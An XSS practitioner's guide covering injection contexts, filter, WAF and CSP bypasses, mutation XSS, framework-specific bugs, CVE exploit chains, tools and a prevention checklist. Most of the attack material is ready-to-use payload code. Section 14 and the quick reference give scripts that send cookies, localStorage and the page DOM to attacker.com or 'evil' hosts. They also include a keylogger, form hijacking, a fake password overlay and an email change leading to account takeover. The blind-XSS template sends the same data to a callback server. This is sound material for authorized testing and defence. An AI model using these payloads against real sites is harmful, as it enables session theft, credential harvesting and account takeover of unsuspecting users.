Comprehensive XSS Guide#
A practitioner’s reference for Cross-Site Scripting — attack surface, context-aware payloads, filter/WAF/CSP bypass techniques, framework-specific vulnerabilities, real-world chains, and detection/prevention. Compiled from 293 research sources.
Table of Contents#
- Fundamentals
- Attack Surface & Entry Points
- Context-Aware Payloads
- Filter Bypass Techniques
- WAF Bypasses
- CSP Bypass Techniques
- Mutation XSS (mXSS)
- DOM Clobbering & Prototype Pollution
- Framework-Specific XSS
- AngularJS Sandbox Escapes
- postMessage & DOM XSS
- SVG, PDF & File Upload XSS
- Blind XSS
- Weaponized XSS Payloads
- Polyglots
- Real-World Exploitation Chains
- Tools & Automation
- Detection & Prevention
- Payload Quick Reference
- CVE Reference
1. Fundamentals#
XSS occurs when attacker-controlled input is rendered in a victim’s browser as executable code (JavaScript, or markup that leads to JavaScript execution). The victim’s browser runs the injected code with the origin’s privileges — same-origin access to cookies, DOM, API tokens, and session state.
Three classes:
| Class | Description | Example |
|---|---|---|
| Reflected | Payload in request, echoed in immediate response | ?q=<script>alert(1)</script> |
| Stored | Payload persisted server-side, executes for later viewers | Comment boxes, profile bios, chat messages |
| DOM-based | Client-side JS reads attacker-controlled source, writes to dangerous sink | document.write(location.hash.slice(1)) |
Impact spectrum: Proof-of-concept alert(1) → cookie theft → session hijack → account takeover → credential harvesting → persistent backdoor (service worker) → worm propagation → supply chain compromise.
The three conditions required for XSS:
- Attacker-controlled input enters the page
- Input reaches a sink that interprets text as code/markup
- No (or insufficient) context-appropriate encoding between source and sink
2. Attack Surface & Entry Points#
Common injection points#
| Category | Examples |
|---|---|
| Search parameters | ?q=, ?search=, ?query=, ?keyword= |
| URL path segments | /user/{name}, /posts/{slug} |
| URL fragments | #id, #/route (SPA routing) |
| Form fields | Comments, profiles, messages, filenames |
| HTTP headers | User-Agent, Referer, X-Forwarded-For, Host, custom app headers |
| Cookies | Application-read cookies reflected in the UI |
| File uploads | Filenames, metadata, SVG/HTML/PDF content |
| JSON fields | API responses rendered without encoding |
| Error messages | Echoed inputs in error pages |
| postMessage listeners | Cross-window messages without origin checks |
| localStorage/sessionStorage | User-writable state read into DOM |
| Email/notifications | HTML email, in-app notifications |
Sources → Sinks (DOM XSS)#
Sources (attacker-influenced):
location.href location.search location.hash
location.pathname document.referrer document.URL
window.name document.cookie localStorage.*
sessionStorage.* postMessage.data history.state
Sinks (dangerous):
element.innerHTML element.outerHTML document.write()
document.writeln() eval() Function()
setTimeout(string) setInterval(string) element.insertAdjacentHTML()
element.srcdoc element.src (for scripts)
jQuery: .html() .append() .before() .after() .replaceWith()
Framework: dangerouslySetInnerHTML v-html [innerHTML]="" (Angular bypass)
3. Context-Aware Payloads#
Each context requires a different escape. Know where your input lands before picking a payload.
HTML element body context#
<div>INJECTION</div>
Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
HTML attribute context#
Inside double quotes: <input value="INJECTION">
" autofocus onfocus=alert(1) x="
"><script>alert(1)</script>
"><svg onload=alert(1)>
Inside single quotes: <input value='INJECTION'>
' autofocus onfocus=alert(1) x='
'><svg onload=alert(1)>
Unquoted: <input value=INJECTION>
x onfocus=alert(1) autofocus
x/onerror=alert(1)//
href/src attribute (no quote escape needed):
javascript:alert(1)
javascript:alert%281%29
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JavaScript string context#
var x = "INJECTION";
Payloads:
"; alert(1); //
"; alert(1); var y="
"-alert(1)-"
`-alert(1)-` (in template literals)
</script><script>alert(1)</script>
JavaScript code context (no string quoting)#
var x = INJECTION;
alert(1)
1;alert(1);1
Inside <script> block#
</script> always closes the script — even inside strings:
<script>
var x = "</script><script>alert(1)</script>";
</script>
CSS context#
<style>.a { color: INJECTION }</style>
<div style="color: INJECTION">
red; background: url("javascript:alert(1)") /* old browsers */
expression(alert(1)) /* IE only */
</style><script>alert(1)</script>
URL context#
<a href="INJECTION">
javascript:alert(1)
//attacker.com
https://attacker.com/fake-login
Textarea / title / noscript / noembed / script contexts#
These are “RCDATA” or “raw text” elements — you must close the parent tag first:
<textarea>INJECTION</textarea> → </textarea><script>alert(1)</script>
<title>INJECTION</title> → </title><script>alert(1)</script>
4. Filter Bypass Techniques#
Case variation#
HTML tags and attributes are case-insensitive:
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
jaVaScRiPt:alert(1)
Defeats naive regex: preg_replace('/script/', '', $input) → use /i flag.
HTML entities#
Decoded by HTML parser before attribute execution:
<img src=x onerror=alert(1)> (decimal)
<img src=x onerror=alert(1)> (hex)
<img src=x onerror=alert(1)> (no semicolons — still works)
JavaScript escapes#
\u0061lert(1) (Unicode escape)
\x61lert(1) (hex escape)
\141lert(1) (octal)
window['al'+'ert'](1)
window[String.fromCharCode(97,108,101,114,116)](1)
Comments / whitespace tricks#
<scr/**/ipt>alert(1)</scr/**/ipt>
<img/**/src=x/**/onerror=alert(1)>
<img src=x onerror/**/=alert(1)>
<img%09src=x%09onerror=alert(1)> (tab)
<img%0asrc=x%0aonerror=alert(1)> (newline)
Tag-break bypasses#
If <script> is blocked:
<svg onload=alert(1)>
<math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src>">
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)><option>x
<keygen autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
Character encoding bypasses#
- UTF-7 (legacy):
+ADw-script+AD4-alert(1)+ADw-/script+AD4- - Overlong UTF-8: some parsers normalize multi-byte sequences to ASCII
- Null bytes:
<scr%00ipt>— may truncate in C-string parsers
Protocol obfuscation#
javascript:alert(1)
java%09script:alert(1) (tab inside scheme)
java%0ascript:alert(1) (newline inside scheme)
javascript:alert(1) (leading space — parsed by some routers)
Javascript:alert(1) (entity in scheme)
No-alphanumeric / obscure JS#
JSFuck-style:
[][(![]+[])[+[]]+(![]+[])[+!+[]]+...] // alert(1) from brackets
Template literals (bypasses () filter):
alert`1`
Function`x${'alert(1)'}`
Property access without quotes:
window.alert(1)
top['ale'+'rt'](1)
5. WAF Bypasses#
HTTP parameter pollution (HPP)#
ASP.NET concatenates duplicate parameters with commas:
/?q=1'&q=alert(1)&q='2
Request to server: q=1',alert(1),'2
In a JavaScript string context (var x = 'USER_INPUT';) this becomes:
var x = '1',alert(1),'2'; // comma operator executes alert(1)
Bypass rate against commercial WAFs (research):
- Simple payloads: ~17.6% bypass
- Complex HPP + line-break payloads: ~70.6% bypass
- ML-based WAFs (Google Cloud Armor, Azure WAF, open-appsec) performed best
Working bypass payloads:
q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
q=1'%0aasd=window&q=def="al"+"ert"&q=asd[def](1)+'
Character set / encoding tricks#
- Double URL-encoding:
%253cscript%253e - Mixed case with encoded chars:
%3CSvG%20OnLoAd=alert(1)%3E - Unicode normalization:
<script>(fullwidth)
Hackbot-discovered bypass (escaped character differential)#
test\';alert(1);//
Works when the WAF treats \' as an escaped quote but the target’s JavaScript parser closes the string anyway due to context disagreement.
Signature evasion#
Split payloads across parameters, headers, POST body. Test every reflection independently. WAFs typically analyze parameters in isolation.
6. CSP Bypass Techniques#
Quick CSP audit#
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com;
img-src *; default-src 'self'
Red flags: 'unsafe-inline', 'unsafe-eval', *, whitelisted CDN with JSONP, data:, blob:, missing object-src, missing base-uri, Content-Security-Policy-Report-Only.
Common bypass vectors#
1. unsafe-inline present
<script>alert(1)</script> <!-- just works -->
2. Wildcard or broad scheme
script-src *: <script src=//attacker.com/x.js></script>
script-src data: <script src="data:text/javascript,alert(1)"></script>
3. JSONP on whitelisted host
<!-- Any JSONP endpoint on an allowed CDN lets you execute arbitrary callback names -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1)"></script>
4. AngularJS on whitelisted host If an allowed CDN serves Angular, bootstrap it with a template-injection payload:
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.7.9/angular.js></script>
<div ng-app ng-csp>
{{constructor.constructor('alert(1)')()}}
</div>
5. Predictable/reused nonces If nonces are based on timestamps, request IDs, or repeat across responses:
<script nonce="PREDICTED_NONCE">alert(1)</script>
6. base-uri missing
<base href="https://attacker.com/">
<!-- Now any relative <script src="/app.js"> loads from attacker.com -->
7. Dangling markup injection When full JS execution is blocked but HTML injection is possible:
<img src='//attacker.com/?data=
<!-- Everything until the next quote gets exfiltrated -->
8. CSP injection via CRLF If CSP is built from user input:
/?csp_report_uri=/report; script-src * 'unsafe-inline';
9. strict-dynamic pitfalls
strict-dynamic trusts scripts loaded by trusted scripts — if any trusted script has a DOM XSS sink (e.g., an old jQuery loaded with a nonce), you get full execution.
10. File upload bypass
Upload .html / .svg / .pdf to a whitelisted origin → navigate to the uploaded file URL → CSP applies to the uploaded file’s context (same origin = 'self').
Tools#
- Google CSP Evaluator — paste your CSP, get a rating
- CSPBypass.com — database of JSONP endpoints and Angular bootstrap vectors on common CDNs
7. Mutation XSS (mXSS)#
mXSS abuses the gap between serialized HTML (what the sanitizer sees) and parsed DOM (what the browser later executes). The sanitizer sees safe text; the browser’s HTML parser re-interprets it into a dangerous element.
Classic DOMPurify bypass (math/svg foreign content)#
<math><mtext><table><mglyph><style><!--</style>
<img title="--><img src=1 onerror=alert(1)>">
Why it works:
<math>switches parser into MathML foreign content mode<style>inside foreign content has different parsing rules- The
<!--starts a comment that’s considered “safe text” by the sanitizer - On re-serialization and re-parse, the comment context collapses
- The
titleattribute value--><img src=1 onerror=alert(1)>gets promoted to actual HTML
Firefox CDATA variant#
<math><mtext><table><mglyph><style><![CDATA[</style>
<img title="]]></mglyph><img	src=1	onerror=alert(1)>">
Uses CDATA closing instead of HTML comment closing — works where the DOMPurify patch only covered comment mutations (CVE-2025-26791).
Why defending is hard#
Sanitizers serialize-then-reparse to normalize. Any case where the browser’s second parse produces different tokens than the first parse is a potential mXSS. DOMPurify has fixed dozens of these; new ones keep appearing because HTML5 parsing has hundreds of context transitions.
8. DOM Clobbering & Prototype Pollution#
DOM clobbering basics#
Named HTML elements become properties on window and document:
<img name="getElementById">
<!-- document.getElementById is now an <img> element, not a function -->
Bootstrap 3 DOM clobbering XSS (CVE-2025-1647)#
Bootstrap’s sanitizeHtml() uses document.implementation.createHTMLDocument(). Clobber document.implementation:
<img name="implementation">
<span data-toggle="tooltip" data-html="true" title="<script>alert(1)</script>">Hover</span>
document.implementationnow resolves to the<img>element.createHTMLDocument()fails silently- Sanitization skipped entirely
- Tooltip renders raw HTML → XSS fires
Prototype pollution → XSS#
Pollute Object.prototype through a vulnerable merge/assign function, then trigger a library that reads from an object with a prototype lookup fallback:
// Trigger pollution
location.hash = '#__proto__[innerHTML]=<img src=x onerror=alert(1)>';
// Victim library later reads options.innerHTML — gets polluted value
Common sinks triggered by pollution: jQuery’s $.extend, lodash _.merge, Handlebars/Mustache helper lookups, template engine options.
9. Framework-Specific XSS#
React#
React escapes by default. The escape hatches are the bug hatches:
Dangerous:
<div dangerouslySetInnerHTML={{__html: userContent}} />
URL injection:
<a href={userUrl}>click</a> // userUrl = "javascript:alert(1)" executes
React added warnings for javascript: URLs in 16.9 and blocks them in 18, but data:text/html still works in older versions.
Defense: Wrap dangerouslySetInnerHTML content in DOMPurify:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userContent)}} />
localStorage token bug: React/SPA apps routinely store JWTs in localStorage. Any XSS → instant session theft. Use httpOnly cookies instead.
Vue#
v-html is React’s dangerouslySetInnerHTML equivalent:
<div v-html="userContent"></div>
CVE-2024-6783: Vue 2 template compiler XSS in specific directive patterns. Vue 2 is end-of-life; migrate to Vue 3.
Angular (modern, 2+)#
Angular auto-sanitizes via its DomSanitizer. Bypass methods:
this.sanitizer.bypassSecurityTrustHtml(userContent)
[innerHTML]="userContent" // auto-sanitized, safe
[innerHTML]="trustedContent" // if content was passed through bypassSecurityTrust*, XSS
Server-side rendering also introduces SSRF risk during hydration.
AngularJS (1.x) — see dedicated section#
10. AngularJS Sandbox Escapes#
AngularJS 1.x expressions run in a sandbox that was repeatedly broken. Every version ≤1.6 has a known bypass; 1.6+ removed the sandbox entirely (expressions run as JavaScript — a feature, not a fix).
Canonical payloads by version#
1.0.x:
{{constructor.constructor('alert(1)')()}}
1.2.x (no constructor.constructor):
{{a='a'.constructor.prototype;a.charAt=a.trim;$eval('a",alert(1),"')}}
1.3.x–1.5.x:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}
1.6.x+ (no sandbox — just JS):
{{constructor.constructor('alert(1)')()}}
SVG variant (works when {{ }} filtered)#
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0"
from="javascript:alert(1)" to="&" />
</a>
</svg>
No-quote / no-constructor bypasses (historical Uber writeup)#
When filters strip quotes and block constructor:
{{x=toString();x.constructor.prototype.charAt=x.constructor.prototype.concat;
$eval(x.constructor.fromCharCode(120,61,49,125,32,125,32,125,59,97,108,
101,114,116,40,49,41,47,47))}}
Builds alert(1) from character codes and existing prototype access.
11. postMessage & DOM XSS#
postMessage vulnerabilities#
Listeners that don’t validate event.origin accept messages from any window:
// VULNERABLE
window.addEventListener('message', e => {
document.getElementById('content').innerHTML = e.data; // sink!
});
Attack: Open vulnerable page in iframe/popup, post message:
victim.postMessage('<img src=x onerror=alert(1)>', '*');
Defense:#
window.addEventListener('message', e => {
if (e.origin !== 'https://trusted.com') return;
if (typeof e.data !== 'string') return;
// still need to treat data as data, not HTML
});
DOM XSS sources → sinks#
| Source | Common Sink | Example |
|---|---|---|
location.hash | innerHTML | SPA route handler writes hash to page |
location.search | document.write() | Analytics tag echoes query string |
document.referrer | innerHTML | “You came from” banner |
window.name | eval() | Legacy form persistence |
postMessage.data | innerHTML | Cross-widget communication |
localStorage | innerHTML | Cached API response rendered |
Hunting tips:
- DOM Invader (Burp) — auto-traces sources to sinks
- Grep for source strings in JS bundles
- Hook sinks with a Proxy at runtime
12. SVG, PDF & File Upload XSS#
SVG XSS#
SVG files are XML with full script support:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(1)</script>
</svg>
If uploaded and served with Content-Type: image/svg+xml on the same origin, direct navigation to the file triggers XSS under that origin.
Event handlers also work:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
PDF XSS (PDF.js, Acrobat)#
PDFs can contain JavaScript. When rendered in pdf.js with disableAutoFetch: false and no sandbox, embedded JS runs in the viewer’s origin.
HTML file upload#
Uploading .html to a whitelisted/same-origin location gives full XSS under that origin — any access control mitigations on rendering contexts (image tags, CSP) don’t apply to direct navigation.
Mitigations:
- Serve uploads from a sandboxed subdomain (
usercontent.example.com) - Set
Content-Disposition: attachmentto force download - Re-encode images (defeats embedded scripts)
- Block SVG uploads entirely or sanitize with DOMPurify server-side
13. Blind XSS#
Blind XSS fires in a context you can’t see — admin panels, support tickets, log viewers, email clients, printed reports.
Detection#
Use an out-of-band callback service:
- XSS Hunter Express — self-hosted, captures screenshots, DOM, cookies, URL
- ezXSS — self-hosted alternative
- Burp Collaborator — manual detection via DNS/HTTP callback
Payload template#
<script src="//xss.yourdomain.com/payload.js"></script>
payload.js collects and exfiltrates:
fetch('https://xss.yourdomain.com/log', {
method: 'POST',
body: JSON.stringify({
url: location.href,
cookies: document.cookie,
dom: document.documentElement.outerHTML.substring(0, 5000),
referrer: document.referrer,
origin: location.origin,
localStorage: JSON.stringify(localStorage),
userAgent: navigator.userAgent
})
});
High-value blind XSS injection points#
- Contact forms (admin reads the ticket)
- User-Agent / Referer headers (log viewers)
- Bug reports / feedback forms
- Invoice/order fields (accounting tools)
- Profile fields (admin user lookup)
- Filenames in file uploads (file manager views)
- Email subject/sender/body (webmail, ticket systems)
DKIM-signed email XSS (Horde CVE-2025-68673)#
Horde Webmail rendered List-Unsubscribe headers without sanitizing javascript: URIs:
List-Unsubscribe: <javascript://domain.tld/%0aalert(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Rendered link executes when clicked.
14. Weaponized XSS Payloads#
Going from alert(1) to real impact.
Cookie / token exfiltration#
// Basic
new Image().src = 'https://attacker.com/?c=' + encodeURIComponent(document.cookie);
// Full dump
fetch('https://attacker.com/log', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
cookies: document.cookie,
localStorage: Object.fromEntries(Object.entries(localStorage)),
sessionStorage: Object.fromEntries(Object.entries(sessionStorage)),
url: location.href
})
});
Account takeover via API#
// Change email to attacker's, password-reset flow delivers takeover
fetch('/api/user/profile', {
method: 'PATCH',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
CSRF token bypass#
Fetch token from DOM/API, use it:
const csrf = document.querySelector('meta[name="csrf-token"]').content;
fetch('/admin/users/delete', {
method: 'POST',
headers: {'X-CSRF-Token': csrf},
body: 'id=12345'
});
Keylogger#
let buf = '';
document.addEventListener('keypress', e => {
buf += e.key;
if (buf.length > 30) {
navigator.sendBeacon('https://attacker.com/k', buf);
buf = '';
}
});
Form hijacking#
document.querySelectorAll('form').forEach(f => {
f.addEventListener('submit', e => {
const data = new FormData(f);
navigator.sendBeacon('https://attacker.com/f', data);
});
});
Persistent backdoor via service worker#
If /sw.js is under attacker control (file upload, stored XSS with write access):
navigator.serviceWorker.register('/sw.js', {scope: '/'});
// sw.js intercepts all future fetches from the origin
Phishing overlay#
document.body.innerHTML = `
<div style="position:fixed;inset:0;background:white;z-index:999999">
<form action="https://attacker.com/collect" method="post">
Session expired. Re-enter password:
<input name="pw" type="password"><button>Continue</button>
</form>
</div>`;
15. Polyglots#
A polyglot fires in the maximum number of contexts with a single payload.
Ultimate XSS Polyglot (144 chars)#
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Contexts it hits:
- href/src attributes (
javascript:scheme with case variation) - Double-quoted attributes (escapes via
") - Single-quoted attributes (escapes via
') - Unquoted attributes
- JavaScript strings (all three quote types)
- Template literals (backtick)
- Regex literals
- Comment blocks (
/* */) - textarea / title / style / script contexts (tag-breakers)
- SVG context (onload trigger)
Shorter alternatives#
"><svg onload=alert(1)>
'><svg onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
16. Real-World Exploitation Chains#
Magento 2.3.1: Stored XSS → RCE#
Chain:
- Stored XSS via
escapeHtmlWithLinks()bypass — sanitizer replaces<a>tags with%1$splaceholder, escapes the rest, thenvsprintfs the tags back in. Position-based replacement lets attackers inject an extra quote breaking out of a surroundingidattribute:After processing, the reinserted<i id=" <a href='http://onmouseover=alert(/XSS/)'>link</a> "> text </i><a>tag breaks the outer<i>quoting, injecting anonmouseoverhandler. - Injection point: Order cancellation notes (unauthenticated accessible).
- Trigger: Admin reviews the cancelled order → XSS fires in admin session.
- XSS → phar deserialization RCE: XSS POSTs to
__directiveisparameter → backend callsgetimagesize()on a phar:// URL → PHP object injection → RCE with admin privileges.
Impact: Complete store takeover, payment redirection, credit card theft. Patched in 2.3.2+.
Arista Firewall: XSS → RCE (CVE-2025-6978/6979/6980)#
- CVE-2025-6980 — Information disclosure via unintended Python functions exposed through
mod_python.publisher; leaks VPN credentials/private keys. - CVE-2025-6979 — Reflected XSS in Captive Portal login (misclassified as “authentication bypass”).
- CVE-2025-6978 — JSON-RPC command injection in admin handler → root RCE.
Chain: Reflected XSS tricks admin into executing JSON-RPC payload → root on the firewall.
Quick test:
curl -skI https://target/capture/handler.py/load_rpc_manager
# 500 = vulnerable, 404 = patched
Worm / self-propagation pattern#
Any stored XSS in a social-graph context (comments, timeline, chat) that doesn’t require interaction to fire is a worm candidate. Classic examples: Samy (MySpace 2005), Twitter onMouseOver (2010), TweetDeck (2014).
Banking session theft campaign (2023)#
Targeted 40+ banks globally. Adaptive malware stole 50,000+ sessions via stored XSS in vulnerable banking portals, communicated with C2 for real-time payload updates, and obfuscated traces from security tooling.
17. Tools & Automation#
Burp Suite#
- DOM Invader — built-in browser extension; traces DOM sources to sinks, tests postMessage, detects prototype pollution and DOM clobbering.
- Intruder — payload lists for reflection testing.
- Collaborator — out-of-band detection for blind XSS.
Dedicated scanners#
| Tool | Strength |
|---|---|
| XSStrike | Advanced reflected/DOM scanner with WAF detection, context-aware payloads |
| Gxss | Fast reflection finder for big URL lists |
| Dalfox | Param analysis + reflection detection + payload generation |
| kxss | Minimal reflection finder, chains well with gf patterns |
| XSSer | Classic framework with multiple attack modes |
Blind XSS platforms#
| Tool | Notes |
|---|---|
| XSS Hunter Express | Self-hosted, screenshot + DOM + cookies |
| ezXSS | Self-hosted, Docker-friendly |
| Interactsh | Low-level OOB (DNS/HTTP/SMTP) |
| Burp Collaborator | Integrated with Burp Pro |
CSP analysis#
- Google CSP Evaluator — scores policies, flags bypasses
- csp-evaluator.withgoogle.com — web UI
- CSPBypass.com — community database of bypass gadgets on whitelisted CDNs
Payload wordlists#
SecLists/Fuzzing/XSS/PayloadsAllTheThings/XSS Injection/- PortSwigger XSS cheat sheet
18. Detection & Prevention#
The hierarchy of defenses (apply all)#
| Layer | Control |
|---|---|
| 1. Input validation | Whitelist allowed formats at entry (still encode later) |
| 2. Output encoding | Context-aware encoding at every sink — the critical layer |
| 3. Sanitization libraries | DOMPurify for rich HTML, kept up to date |
| 4. Content Security Policy | script-src without 'unsafe-inline' / wildcards; strict-dynamic + nonces |
| 5. Framework defaults | Trust React/Vue/Angular auto-escaping; audit every escape-hatch |
| 6. httpOnly cookies | Keep auth tokens out of document.cookie / localStorage |
| 7. Security headers | X-Content-Type-Options: nosniff, Referrer-Policy, Permissions-Policy |
| 8. Sandboxed subdomains | Serve user-uploaded content from a separate origin |
Context-aware encoding table#
| Context | Encoding |
|---|---|
| HTML element body | & < > " ' → entities |
| HTML attribute (quoted) | Same as body + enclose in quotes |
| HTML attribute (unquoted) | Encode all non-alphanumeric chars |
| JavaScript string | Escape \ ' " + backslash-u for nonprintable |
| URL | encodeURIComponent() |
| CSS | CSS-escape (\HH ) all non-alphanumeric |
| JSON embedded in HTML | JSON-encode + HTML-encode < → \u003c |
Static analysis#
Grep patterns for sinks:
innerHTML\s*= outerHTML\s*= document\.write
eval\( Function\( setTimeout\([^,]*["'`]
dangerouslySetInnerHTML v-html bypassSecurityTrustHtml
Grep patterns for sources:
location\.(hash|search|href|pathname)
document\.referrer window\.name
postMessage\b
localStorage\.(getItem|\[)
Semgrep / CodeQL: Both have mature XSS rule packs for JavaScript, TypeScript, React, Vue, Django templates, JSP, etc.
Runtime detection#
- CSP
report-uri/report-to— log real violations - Trusted Types — policy that forbids string-to-sink assignments, catches DOM XSS at runtime
Content-Security-Policy: require-trusted-types-for 'script' - WAF — catches obvious signatures, bypasseable (see section 5)
The TL;DR checklist#
- Use framework auto-escaping; audit every escape hatch.
- Wrap all user HTML in DOMPurify before
dangerouslySetInnerHTML/v-html. - Set a strict CSP with nonces and
strict-dynamic. - Enable Trusted Types.
- Put auth tokens in
httpOnlycookies, never localStorage. - Serve user uploads from a separate origin.
- Validate
event.originin everypostMessagelistener. - Keep all sanitization libraries up to date (DOMPurify ships mXSS fixes often).
19. Payload Quick Reference#
Copy-paste test payloads#
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
Context escape one-liners#
Attribute (dq): "><svg onload=alert(1)>
Attribute (sq): '><svg onload=alert(1)>
JS string (dq): ";alert(1);//
JS string (sq): ';alert(1);//
JS string (tmpl): ${alert(1)}
Script block: </script><svg onload=alert(1)>
Textarea: </textarea><svg onload=alert(1)>
Title: </title><svg onload=alert(1)>
Style: </style><svg onload=alert(1)>
Comment: --><svg onload=alert(1)>
CDATA: ]]><svg onload=alert(1)>
Filter bypass variants#
Case: <ScRiPt>alert(1)</ScRiPt>
Entity: <img src=x onerror=alert(1)>
Unicode: <img src=x onerror=\u0061lert(1)>
No parens: <img src=x onerror=alert`1`>
No alphanum: <img src=x onerror=window[/al/.source+/ert/.source](1)>
Whitespace: <img/src=x/onerror=alert(1)>
Newline in URL: <a href="java%0ascript:alert(1)">
Exfiltration snippets#
// One-line cookie steal
new Image().src='//evil/?c='+document.cookie
// One-line DOM exfil
fetch('//evil',{method:'POST',mode:'no-cors',body:document.body.innerHTML})
// One-line credential form injection
document.body.innerHTML='<form action=//evil method=POST><input name=u><input name=p type=password><input type=submit></form>'
20. CVE Reference#
| CVE | Target | Type | Notes |
|---|---|---|---|
| CVE-2025-26791 | DOMPurify | mXSS | Regex-based bypass, bypassed prior CDATA fix |
| CVE-2025-1647 | Bootstrap 3 | DOM clobbering XSS | document.implementation clobbered to skip sanitizer |
| CVE-2024-6783 | Vue 2 | Template compiler XSS | End-of-life; migrate to Vue 3 |
| CVE-2024-6484 | Bootstrap 3 | Carousel XSS | Data attribute sanitization gap |
| CVE-2025-6980 | Arista Firewall | Information disclosure | mod_python.publisher leaks credentials |
| CVE-2025-6979 | Arista Firewall | Reflected XSS | Captive portal login form |
| CVE-2025-6978 | Arista Firewall | JSON-RPC injection | Chains with XSS → root |
| CVE-2019-8331 | Magento | Stored XSS → phar → RCE | Complete store takeover chain |
| CVE-2025-68673 | Horde Webmail | XSS | List-Unsubscribe javascript: URI |
| CVE-2026-34569 | CI4MS | Stored XSS | CMS admin panel |
| CVE-2026-34565 | CI4MS | Stored DOM XSS | Client-side rendering sink |
Version History#
- v1.0 (2026-04-10) — Initial guide compiled from 293 articles in
~/Documents/obsidian/chs/raw/XSS/
For original articles, see ~/Documents/obsidian/chs/raw/XSS/.